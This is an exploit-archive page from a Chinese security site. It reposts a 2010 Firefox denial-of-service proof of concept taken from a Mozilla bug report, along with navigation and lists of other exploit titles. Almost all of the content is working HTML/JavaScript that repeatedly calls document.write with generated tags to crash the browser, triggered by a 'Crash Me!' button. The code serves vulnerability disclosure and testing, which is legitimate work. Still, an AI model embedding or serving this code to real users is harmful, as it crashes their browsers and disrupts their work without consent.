首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Firefox Interleaving document.write and appendChild Denial of Service
来源:vfocus.net 作者:Veditz 发布时间:2010-10-29  
Source: https://bugzilla.mozilla.org/show_bug.cgi?id=607222
<html><body>
 <script>
  function getatts(str){
    var cobj=document.createElement(str);
    cobj.id="testcase";
    document.body.appendChild(cobj);
    var obj=document.getElementById("testcase");
    var atts = new Array();
    for(p in obj){
      if(typeof(obj[p])=="string"){
        atts.push(p);
      }
    }  
    document.body.removeChild(cobj);
    return atts;
  }
 
  function crashme() {
    var tags = new Array("audio", "a", "base");
    for (inx = 0; inx < 0x8964; inx++) {
        for (i = 0; i < tags.length; i++) {
            var atts = getatts(tags[i]);
            for (j = 0; j < atts.length; j++) {
                var html = "<" + tags[i] + " " + atts[j] + "=a></" + tags[i] +
                           ">" + tags[i];
                document.write(html);
            }
        }
    }
  }
</script>
<button onclick="crashme();">Crash Me!</button>
</body></html>
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Firefox Memory Corruption Proo
·Safe Returner 1.27.5 Commandli
·Linux Kernel VIDIOCSMICROCODE
·Kaspersky Updater GUI 2.2.0.72
·Platinum SDK Library post upnp
·DATAC RealWin SCADA 1.06 Buffe
·XBMC 9.04.1r20672 soap_action_
·MinaliC Webserver v1.0 Denial
·Home FTP Server Post-Auth Dire
·DATAC RealWin SCADA 1.06 Buffe
·Bigace_2.7.3 CSRF Change Admin
·CoWebserver Denial of Service
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved